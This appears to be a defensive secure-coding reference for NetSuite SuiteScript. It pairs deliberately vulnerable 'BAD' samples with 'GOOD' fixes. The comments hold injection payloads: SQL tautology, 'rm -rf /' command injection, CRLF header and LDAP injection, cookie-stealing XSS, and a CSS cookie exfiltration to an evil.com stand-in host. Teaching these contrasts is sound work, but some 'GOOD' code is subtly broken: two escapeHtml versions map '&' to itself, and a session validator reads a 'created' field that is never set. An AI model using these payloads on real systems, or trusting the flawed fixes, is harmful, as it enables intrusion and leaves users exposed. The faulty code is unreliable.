Review this RESTlet for security issues.
Load the injection prevention reference.
Load the CSP header templates appendix.

/**
 * Shared validation utilities.
 *
 * @NApiVersion 2.1
 * @NModuleScope Public
 * @module ./lib/SecurityValidation
 */
define(['N/error'], (error) => {

    /**
     * Validate that a value is a positive integer.
     * @param {*} val - The value to validate.
     * @param {string} fieldName - The field name for error messages.
     * @returns {number} The parsed integer.
     */
    const requirePositiveInt = (val, fieldName) => {
        const n = parseInt(val, 10);
        if (isNaN(n) || n < 1) {
            throw error.create({
                name: 'INVALID_INPUT',
                message: `${fieldName} must be a positive integer.`,
                notifyOff: true
            });
        }
        return n;
    };

    /**
     * Validate that a value is one of an allowed set.
     * @param {*} val - The value to validate.
     * @param {Array} allowed - The allowed values.
     * @param {string} fieldName - The field name for error messages.
     * @returns {*} The validated value.
     */
    const requireEnum = (val, allowed, fieldName) => {
        if (!allowed.includes(val)) {
            throw error.create({
                name: 'INVALID_INPUT',
                message: `${fieldName} must be one of: ${allowed.join(', ')}`,
                notifyOff: true
            });
        }
        return val;
    };

    /**
     * Validate that a string matches an alphanumeric pattern.
     * Use for structured identifiers, codes, and keys.
     * @param {string} val - The value to validate.
     * @param {string} fieldName - The field name for error messages.
     * @param {number} [maxLength=200] - Maximum allowed length.
     * @returns {string} The validated string.
     */
    const requireAlphanumeric = (val, fieldName, maxLength) => {
        maxLength = maxLength || 200;
        if (typeof val !== 'string' || val.length === 0 || val.length > maxLength) {
            throw error.create({
                name: 'INVALID_INPUT',
                message: `${fieldName} must be a non-empty string up to ${maxLength} characters.`,
                notifyOff: true
            });
        }
        if (!/^[a-zA-Z0-9_-]+$/.test(val)) {
            throw error.create({
                name: 'INVALID_INPUT',
                message: `${fieldName} contains disallowed characters. Only alphanumeric, hyphens, and underscores are permitted.`,
                notifyOff: true
            });
        }
        return val;
    };

    /**
     * Sanitize a string for safe inclusion in HTML body context.
     * Encodes the five critical HTML characters as entities.
     * @param {*} val - The value to sanitize.
     * @returns {string} The HTML-safe string.
     */
    const sanitizeHtml = (val) => {
        if (val == null) return '';
        return String(val)
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
    };

    /**
     * Sanitize a value for safe inclusion in log messages.
     * Strips newlines, control characters, and truncates.
     * @param {*} val - The value to sanitize.
     * @param {number} [maxLength=500] - Maximum output length.
     * @returns {string} The log-safe string.
     */
    const sanitizeForLog = (val) => {
        return String(val)
            .replace(/[\r\n]/g, ' ')
            .replace(/[\x00-\x1F]/g, '')
            .substring(0, 500);
    };

    return {
        requirePositiveInt,
        requireEnum,
        requireAlphanumeric,
        sanitizeHtml,
        sanitizeForLog
    };
});

define(['./lib/encoding', './lib/SecurityValidation'], (enc, validate) => {
    // enc.forHtml(), enc.forAttribute(), enc.forJavaScript(), enc.forUrl(), enc.forCss()
    // validate.requirePositiveInt(), validate.sanitizeHtml(), etc.
});

/**
 * Security configuration constants.
 *
 * @NApiVersion 2.1
 * @NModuleScope Public
 * @module ./lib/SecurityConfig
 */
define([], () => {
    return Object.freeze({
        ALLOWED_ROLES: Object.freeze({
            ADMIN: [3],
            FINANCE: [3, 1032, 1045],
            READ_ONLY: [3, 1032, 1045, 1060]
        }),
        FILE_UPLOAD: Object.freeze({
            ALLOWED_EXTENSIONS: ['.pdf', '.csv', '.xlsx', '.png', '.jpg', '.jpeg'],
            MAX_SIZE_BYTES: 10 * 1024 * 1024,
            UPLOAD_FOLDER_PARAM: 'custscript_upload_folder_id'
        }),
        RATE_LIMIT: Object.freeze({
            MAX_REQUESTS: 100,
            WINDOW_SECONDS: 3600
        }),
        CSP_DIRECTIVES: Object.freeze([
            "default-src 'self'",
            "script-src 'self' https://*.netsuite.com",
            "style-src 'self' 'unsafe-inline' https://*.netsuite.com",
            "img-src 'self' data: https://*.netsuite.com",
            "frame-ancestors 'self' https://*.netsuite.com",
            "form-action 'self'",
            "base-uri 'self'"
        ])
    });
});

// ===== BAD: String concatenation in SuiteQL =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/query'], (query) => {
    const onRequest = (context) => {
        const name = context.request.parameters.customerName;
        // VULNERABLE: attacker sends name = "' OR '1'='1"
        const sql = "SELECT id, companyname FROM customer WHERE companyname = '" + name + "'";
        const results = query.runSuiteQL({ query: sql });
        context.response.write(JSON.stringify(results.asMappedResults()));
    };
    return { onRequest };
});

// ===== GOOD: Parameterized query with ? placeholders =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/query'], (query) => {
    const onRequest = (context) => {
        const name = context.request.parameters.customerName;
        // SAFE: params array escapes all values; injection is impossible
        const sql = "SELECT id, companyname FROM customer WHERE companyname = ?";
        const results = query.runSuiteQL({ query: sql, params: [name] });
        context.response.write(JSON.stringify(results.asMappedResults()));
    };
    return { onRequest };
});

// ===== BAD: exec() with user-controlled input =====
const { exec } = require('child_process');

function runDeploy(projectName) {
    // VULNERABLE: projectName = "myproject; rm -rf /"
    exec(`sdfcli deploy -project ${projectName}`, (err, stdout) => {
        console.log(stdout);
    });
}

// ===== GOOD: execFile() with argument array (no shell) =====
const { execFile } = require('child_process');

function runDeploy(projectName) {
    // Validate against allowlist pattern first
    if (!/^[a-zA-Z0-9_-]+$/.test(projectName)) {
        throw new Error('Invalid project name. Only alphanumeric, hyphens, and underscores allowed.');
    }
    // SAFE: execFile does not spawn a shell; arguments passed directly
    execFile('sdfcli', ['deploy', '-project', projectName], (err, stdout) => {
        if (err) {
            console.error('Deploy failed:', err.message);
            return;
        }
        console.log(stdout);
    });
}

// ===== BAD: User input directly in header value =====
define([], () => {
    const onRequest = (context) => {
        const redirectUrl = context.request.parameters.redirect;
        // VULNERABLE: redirect = "https://ok.com\r\nSet-Cookie: admin=true"
        context.response.setHeader({ name: 'Location', value: redirectUrl });
        context.response.setStatus(302);
    };
    return { onRequest };
});

// ===== GOOD: Strip CRLF, validate against allowlist, and use redirect API =====
define(['N/redirect'], (redirect) => {
    const ALLOWED_URLS = [
        '/app/site/hosting/scriptlet.nl?script=123&deploy=1',
        '/app/site/hosting/scriptlet.nl?script=456&deploy=1'
    ];

    const sanitizeHeaderValue = (value) => {
        return String(value).replace(/[\r\n\x00]/g, '');
    };

    const onRequest = (context) => {
        const redirectUrl = sanitizeHeaderValue(context.request.parameters.redirect);
        if (!ALLOWED_URLS.includes(redirectUrl)) {
            context.response.write('Invalid redirect destination.');
            return;
        }
        // SAFE: use the documented redirect module instead of writing raw headers
        redirect.redirect({ url: redirectUrl });
    };
    return { onRequest };
});

// ===== BAD: Unescaped input in LDAP filter =====
define(['N/https'], (https) => {
    const lookupUser = (username) => {
        // VULNERABLE: username = "admin)(|(password=*))" exposes all passwords
        const filter = `(&(uid=${username})(objectClass=person))`;
        https.post({
            url: 'https://ldap-proxy.internal/search',
            body: JSON.stringify({ filter: filter }),
            headers: { 'Content-Type': 'application/json' }
        });
    };
});

// ===== GOOD: Escape LDAP special characters per RFC 4515 =====
define(['N/https'], (https) => {
    const escapeLdapFilter = (input) => {
        return String(input)
            .replace(/\\/g, '\\5c')
            .replace(/\*/g, '\\2a')
            .replace(/\(/g, '\\28')
            .replace(/\)/g, '\\29')
            .replace(/\x00/g, '\\00');
    };

    const lookupUser = (username) => {
        const safeUsername = escapeLdapFilter(username);
        const filter = `(&(uid=${safeUsername})(objectClass=person))`;
        https.post({
            url: 'https://ldap-proxy.internal/search',
            body: JSON.stringify({ filter: filter }),
            headers: { 'Content-Type': 'application/json' }
        });
    };
});

// ===== BAD: Raw user input in log message =====
define(['N/log'], (log) => {
    const onRequest = (context) => {
        const searchTerm = context.request.parameters.q;
        // VULNERABLE: searchTerm = "test\nlog.audit('Admin','Fake admin entry')"
        log.audit('Search', 'User searched for: ' + searchTerm);
    };
});

// ===== GOOD: Sanitize before logging =====
define(['N/log'], (log) => {
    const safeLogValue = (val) => {
        return String(val)
            .replace(/[\r\n]/g, ' ')
            .replace(/[\x00-\x1F]/g, '')
            .substring(0, 500);
    };

    const onRequest = (context) => {
        const searchTerm = context.request.parameters.q;
        // SAFE: newlines and control characters stripped
        log.audit('Search', 'User searched for: ' + safeLogValue(searchTerm));
    };
});

// ===== BAD: Hardcoded API key =====
define(['N/https'], (https) => {
    const execute = () => {
        // VULNERABLE: key visible in source, version control, and logs
        const API_KEY = 'sk-prod-a8f3k29d5e7b1c4f6';
        https.post({
            url: 'https://api.vendor.com/data',
            headers: { 'Authorization': `Bearer ${API_KEY}` },
            body: '{}'
        });
    };
});

// ===== GOOD: Credentials from Script Parameters =====
/**
 * @NApiVersion 2.1
 * @NScriptType ScheduledScript
 */
define(['N/https', 'N/runtime', 'N/error'], (https, runtime, error) => {
    const execute = () => {
        const script = runtime.getCurrentScript();
        const apiKey = script.getParameter({ name: 'custscript_vendor_api_key' });

        if (!apiKey) {
            throw error.create({
                name: 'MISSING_CONFIG',
                message: 'API key not configured in script deployment parameters.'
            });
        }

        https.post({
            url: 'https://api.vendor.com/data',
            headers: { 'Authorization': `Bearer ${apiKey}` },
            body: '{}'
        });
    };
    return { execute };
});

// ===== BAD: Session ID from URL parameter =====
define(['N/cache'], (cache) => {
    const onRequest = (context) => {
        // VULNERABLE: attacker sets sessionId before victim logs in
        const sessionId = context.request.parameters.sessionId;
        const sessionCache = cache.getCache({ name: 'SESSIONS' });
        let data = sessionCache.get({ key: sessionId });
        if (!data) {
            sessionCache.put({ key: sessionId, value: '{}', ttl: 1800 });
        }
    };
});

// ===== GOOD: Generate session ID server-side =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/cache', 'N/crypto/random', 'N/runtime'], (cache, random, runtime) => {
    const generateSessionId = () => random.generateUUID();

    const onRequest = (context) => {
        const sessionCache = cache.getCache({ name: 'SESSIONS' });
        const newSessionId = generateSessionId();
        const currentUser = runtime.getCurrentUser();

        sessionCache.put({
            key: newSessionId,
            value: JSON.stringify({ userId: currentUser.id, role: currentUser.role }),
            ttl: 1800
        });
        // Pass session ID via hidden form field, not URL
        context.response.write(`<input type="hidden" name="sid" value="${newSessionId}">`);
    };
    return { onRequest };
});

// ===== BAD: Cookie without security attributes =====
define([], () => {
    const onRequest = (context) => {
        // VULNERABLE: no HttpOnly, Secure, or SameSite
        context.response.setHeader({
            name: 'Set-Cookie',
            value: 'sessionToken=abc123'
        });
    };
});

// ===== GOOD: Cookie with full security attributes =====
define([], () => {
    const onRequest = (context) => {
        context.response.setHeader({
            name: 'Set-Cookie',
            value: [
                'sessionToken=abc123',
                'HttpOnly',
                'Secure',
                'SameSite=Strict',
                'Path=/',
                'Max-Age=1800'
            ].join('; ')
        });
    };
});

// ===== BAD: TTL of 0 (no expiration) =====
define(['N/cache'], (cache) => {
    const sessionCache = cache.getCache({ name: 'SESSIONS' });
    const createSession = (userId) => {
        // VULNERABLE: session never expires
        sessionCache.put({ key: userId, value: '{}', ttl: 0 });
    };
});

// ===== GOOD: Sliding and absolute timeout =====
define(['N/cache', 'N/log'], (cache, log) => {
    const SESSION_TTL = 1800; // 30 minutes sliding
    const MAX_ABSOLUTE_MS = 8 * 60 * 60 * 1000; // 8 hours absolute

    const sessionCache = cache.getCache({ name: 'SESSIONS' });

    const validateSession = (sessionId, currentUserId) => {
        const raw = sessionCache.get({ key: sessionId });
        if (!raw) return { valid: false, reason: 'expired' };

        const session = JSON.parse(raw);
        if (session.userId !== currentUserId) return { valid: false, reason: 'mismatch' };

        const created = new Date(session.created).getTime();
        if (Date.now() - created > MAX_ABSOLUTE_MS) {
            sessionCache.remove({ key: sessionId });
            return { valid: false, reason: 'absolute_timeout' };
        }

        // Refresh sliding window
        session.lastActivity = new Date().toISOString();
        sessionCache.put({ key: sessionId, value: JSON.stringify(session), ttl: SESSION_TTL });
        return { valid: true };
    };
});

// ===== BAD: Raw parameter in HTML output =====
define([], () => {
    const onRequest = (context) => {
        const name = context.request.parameters.name;
        // VULNERABLE: name = <script>alert(document.cookie)</script>
        context.response.write(`<html><body><h1>Hello, ${name}!</h1></body></html>`);
    };
    return { onRequest };
});

// ===== GOOD: HTML-encode before embedding =====
define([], () => {
    const escapeHtml = (str) => {
        if (str == null) return '';
        return String(str)
            .replace(/&/g, '&')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
    };

    const onRequest = (context) => {
        const name = context.request.parameters.name;
        context.response.write(`<html><body><h1>Hello, ${escapeHtml(name)}!</h1></body></html>`);
    };
    return { onRequest };
});

// ===== BAD: Record value rendered without encoding =====
define(['N/record'], (record) => {
    const onRequest = (context) => {
        const rec = record.load({ type: 'customrecord_feedback', id: 1 });
        const feedback = rec.getValue({ fieldId: 'custrecord_feedback_text' });
        // VULNERABLE: stored <script> tags execute for every viewer
        context.response.write(`<div>${feedback}</div>`);
    };
});

// ===== GOOD: Encode stored data on output =====
define(['N/record'], (record) => {
    const escapeHtml = (str) => {
        if (str == null) return '';
        return String(str)
            .replace(/&/g, '&')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
    };

    const onRequest = (context) => {
        const rec = record.load({ type: 'customrecord_feedback', id: 1 });
        const feedback = rec.getValue({ fieldId: 'custrecord_feedback_text' });
        context.response.write(`<div>${escapeHtml(feedback)}</div>`);
    };
});

// ===== BAD: innerHTML with URL parameter =====
/**
 * @NApiVersion 2.1
 * @NScriptType ClientScript
 */
define([], () => {
    const pageInit = () => {
        const msg = new URLSearchParams(window.location.search).get('msg');
        // VULNERABLE: attacker controls msg via URL
        document.getElementById('notification').innerHTML = msg;
    };
    return { pageInit };
});

// ===== GOOD: textContent for untrusted data =====
/**
 * @NApiVersion 2.1
 * @NScriptType ClientScript
 */
define([], () => {
    const pageInit = () => {
        const msg = new URLSearchParams(window.location.search).get('msg');
        // SAFE: textContent treats everything as plain text
        document.getElementById('notification').textContent = msg;
    };
    return { pageInit };
});

// ===== BAD: HTML encoding used in JavaScript context =====
define([], () => {
    const onRequest = (context) => {
        const username = context.request.parameters.user;
        // HTML encoding does NOT protect JS context
        const htmlSafe = username.replace(/</g, '&lt;');
        // VULNERABLE: user = "'; alert('xss');//" still works
        context.response.write(`<script>var user = '${htmlSafe}';</script>`);
    };
});

// ===== GOOD: JSON.stringify for JavaScript context =====
define([], () => {
    const escapeHtml = (str) => {
        if (str == null) return '';
        return String(str)
            .replace(/&/g, '&amp;').replace(/</g, '&lt;')
            .replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;');
    };

    const onRequest = (context) => {
        const username = context.request.parameters.user;
        // JSON.stringify produces a safe JS string literal
        const safeJs = JSON.stringify(username);
        context.response.write(`<script>var user = ${safeJs};</script>`);

        // Or better: pass via data attribute and read with getAttribute
        context.response.write(`<div id="data" data-user="${escapeHtml(username)}"></div>`);
        context.response.write(`<script>var user = document.getElementById('data').getAttribute('data-user');</script>`);
    };
});

// ===== BAD: Template literal with unsanitized data =====
define([], () => {
    const onRequest = (context) => {
        const custName = context.request.parameters.name;
        // VULNERABLE: custName = "<img src=x onerror=alert(1)>"
        const html = `<html><body><h1>Report for ${custName}</h1></body></html>`;
        context.response.write(html);
    };
});

// ===== GOOD: Encode before interpolation =====
define([], () => {
    const escapeHtml = (str) => {
        if (str == null) return '';
        return String(str)
            .replace(/&/g, '&amp;').replace(/</g, '&lt;')
            .replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;');
    };

    const onRequest = (context) => {
        const custName = context.request.parameters.name;
        const html = `<html><body><h1>Report for ${escapeHtml(custName)}</h1></body></html>`;
        context.response.write(html);
    };
});

// ===== BAD: User input in style attribute =====
define([], () => {
    const onRequest = (context) => {
        const color = context.request.parameters.color;
        // VULNERABLE: color = "red; background: url(https://evil.com/steal?cookie=...)"
        context.response.write(`<div style="color: ${color}">Text</div>`);
    };
});

// ===== GOOD: Allowlist of valid CSS values =====
define([], () => {
    const ALLOWED_COLORS = ['red', 'blue', 'green', 'black', 'gray', 'white'];

    const onRequest = (context) => {
        const color = context.request.parameters.color;
        const safeColor = ALLOWED_COLORS.includes(color) ? color : 'black';
        context.response.write(`<div style="color: ${safeColor}">Text</div>`);
    };
});

// ===== BAD: No ownership check =====
define(['N/record'], (record) => {
    const get = (requestParams) => {
        // VULNERABLE: User A can view User B's order
        const order = record.load({ type: 'salesorder', id: requestParams.orderId });
        return { total: order.getValue({ fieldId: 'total' }) };
    };
    return { get };
});

// ===== GOOD: Verify ownership or role =====
/**
 * @NApiVersion 2.1
 * @NScriptType Restlet
 */
define(['N/record', 'N/runtime', 'N/log'], (record, runtime, log) => {
    const GLOBAL_ROLES = [3, 15]; // Admin, Sales Manager

    const get = (requestParams) => {
        const currentUser = runtime.getCurrentUser();
        const orderId = parseInt(requestParams.orderId, 10);
        if (!orderId || orderId <= 0) return { error: 'Invalid order ID.' };

        const order = record.load({ type: 'salesorder', id: orderId });
        const owner = order.getValue({ fieldId: 'entity' });

        if (String(owner) !== String(currentUser.id) && !GLOBAL_ROLES.includes(currentUser.role)) {
            log.audit('IDOR Attempt', { user: currentUser.id, orderId: orderId, owner: owner });
            return { error: 'Access denied.' };
        }

        return { total: order.getValue({ fieldId: 'total' }) };
    };
    return { get };
});

<!-- ===== BAD: runasrole ADMINISTRATOR + allroles T ===== -->
<scriptdeployment scriptid="customdeploy_data_export">
    <status>RELEASED</status>
    <runasrole>ADMINISTRATOR</runasrole>
    <allroles>T</allroles>
</scriptdeployment>

<!-- ===== GOOD: Purpose-built role with minimum permissions ===== -->
<scriptdeployment scriptid="customdeploy_data_export">
    <status>RELEASED</status>
    <runasrole>customrole_data_export</runasrole>
    <allroles>F</allroles>
    <roles>
        <role>customrole_sales_manager</role>
        <role>customrole_finance</role>
    </roles>
</scriptdeployment>

<!-- ===== BAD: allroles=T on sensitive report ===== -->
<scriptdeployment scriptid="customdeploy_salary_report">
    <status>RELEASED</status>
    <allroles>T</allroles>
</scriptdeployment>

<!-- ===== GOOD: Explicit role list ===== -->
<scriptdeployment scriptid="customdeploy_salary_report">
    <status>RELEASED</status>
    <allroles>F</allroles>
    <roles>
        <role>customrole_hr_manager</role>
        <role>customrole_payroll</role>
    </roles>
</scriptdeployment>

// ===== BAD: Authorization on GET only =====
define(['N/record', 'N/runtime'], (record, runtime) => {
    const onRequest = (context) => {
        if (context.request.method === 'GET') {
            if (runtime.getCurrentUser().role !== 3) {
                context.response.write('Access denied.');
                return;
            }
            // Display form...
        }
        if (context.request.method === 'POST') {
            // VULNERABLE: No role check; attacker crafts direct POST
            record.submitFields({
                type: 'customrecord_config', id: 1,
                values: { custrecord_setting: context.request.parameters.value }
            });
        }
    };
    return { onRequest };
});

// ===== GOOD: Authorization on EVERY request method =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/record', 'N/runtime', 'N/log'], (record, runtime, log) => {
    const ADMIN_ROLES = [3];

    const assertAdmin = (context) => {
        const user = runtime.getCurrentUser();
        if (!ADMIN_ROLES.includes(user.role)) {
            log.audit('Auth Failure', { user: user.id, role: user.role, method: context.request.method });
            context.response.setHeader({ name: 'Content-Type', value: 'application/json; charset=utf-8' });
            context.response.write(JSON.stringify({ error: 'Insufficient privileges.' }));
            return false;
        }
        return true;
    };

    const onRequest = (context) => {
        if (!assertAdmin(context)) return;

        if (context.request.method === 'GET') { /* Display form */ }
        if (context.request.method === 'POST') {
            record.submitFields({
                type: 'customrecord_config', id: 1,
                values: { custrecord_setting: context.request.parameters.value }
            });
        }
    };
    return { onRequest };
});